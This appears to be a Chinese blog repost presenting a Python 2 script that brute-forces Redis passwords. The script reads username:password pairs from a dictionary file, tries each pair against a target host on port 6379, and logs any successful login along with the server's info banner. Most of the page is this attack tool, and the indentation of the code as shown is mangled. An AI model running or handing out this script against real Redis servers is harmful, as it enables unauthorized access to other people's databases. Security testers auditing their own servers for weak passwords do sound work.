zoukankan      html  css  js  c++  java
  • 用python 编写redis 暴力破解密码的程序

    本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ 

    import redis
    import logging

    LOGIN_TIMEOUT = 12


    class RedisAuth:
      #初始化
    def __init__(self, (host, port)):
    self.addr = (host, port)
    print self.addr
      #login函数,有三个参数,self,username,password
    def login(self, username='', password=''):
    conn_ok, auth_ok, banner = False, False, ''
    connection = None
    try:
           #连接redis
           #redis.StrictRedis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8',
            errors='strict', decode_responses=False, unix_socket_path=None)
    connection = redis.StrictRedis(host=self.addr[0], port=self.addr[1],password=password,db=0, socket_connect_timeout=LOGIN_TIMEOUT)
    conn_ok = True
    auth_ok = True
    print password
    info = connection.info()
    banner = str(info)
    logging.getLogger().warn('FOUND %s:%s@%s:%d<OK>' % (username, password, self.addr[0], self.addr[1]))
    except Exception as e:
    es = str(e)
    if es.find('Password') >= 0:
    conn_ok = True
    else:
    conn_ok = False
    logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es))
    print es
    del connection #删除变量connection
    return conn_ok, auth_ok, banner


    class RedisBruteTester:
    def __init__(self, userdict, passwords=None):
    self.userdict = userdict
    pass

    def test(self, task):
    (host, port) = (task[0], task[1])
    rs = []
    auth = RedisAuth((host, port))
    # print self.userdict
    for username in self.userdict:
    for password in self.userdict[username]:
    conn_ok, auth_ok, banner = auth.login(username, password)
    print conn_ok,auth_ok,banner
    if not conn_ok:
    # return rs
    continue
    if not auth_ok:
                continue
             rs.append([host, port, 'REDIS', username, password, banner])
             break
        if not rs:
          logging.getLogger().info('SAFE %s:%d' % (host, port))
        return rs


    if __name__ == '__main__':
      host,port = "需要暴力破解的host",int('6379')
      userdict = dict()
      for ln in open('c:\redis_userpasswd.txt'):
        fs = ln.strip().split(':', 1)
        if len(fs) != 2:
          continue
        username = fs[0]
        password = fs[1]
        if username not in userdict:
          userdict[username] = set()
        userdict[username].add(password)
        # logger = xutils.initLogger('.\pass\redis.txt')
      tester = RedisBruteTester(userdict)
      rs = tester.test((host, port))
      if rs == []:
        print('Faild')
      else:
        print(rs)
  • 相关阅读:
    CF91 B. Queue
    CF18 C. Stripe
    CF767 A. Snacktower
    CF349 B. Color the Fence
    CF519 B. A and B and Compilation Errors
    NLog Helpper日志帮助类配置和使用
    一步一步搭建 .net core 应用
    使用webform、websevice来进行ajax请求操作
    各种奇技淫巧-持续更新
    防止表单提交时刷新页面-阻止form表单的默认提交行为
  • 原文地址:https://www.cnblogs.com/daphnezhu/p/9723710.html
Copyright © 2011-2022 走看看